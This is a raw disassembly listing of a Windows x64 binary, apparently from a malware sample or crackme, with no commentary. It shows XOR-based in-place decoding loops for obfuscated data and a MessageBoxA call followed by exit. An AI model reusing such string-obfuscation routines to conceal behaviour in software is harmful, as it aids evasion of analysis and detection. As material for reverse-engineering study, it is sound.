movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x13
jl 0x1400760e0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0x970]
call fcn.1400564e0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140076293
mov r12d, esi
cmp r15d, 2
jl 0x140076258
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r12d, 8
movsxd r8, r12d
add r8, rbx
nop
mov eax, 0x8fb823ef
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r12b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0xc
jl 0x140076260
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.1400764f0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14007642f
cmp r15d, 2
jl 0x1400763fa
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x1400762f0
cmp eax, 0x17
jge 0x14007642f
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x17
jl 0x140076400
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3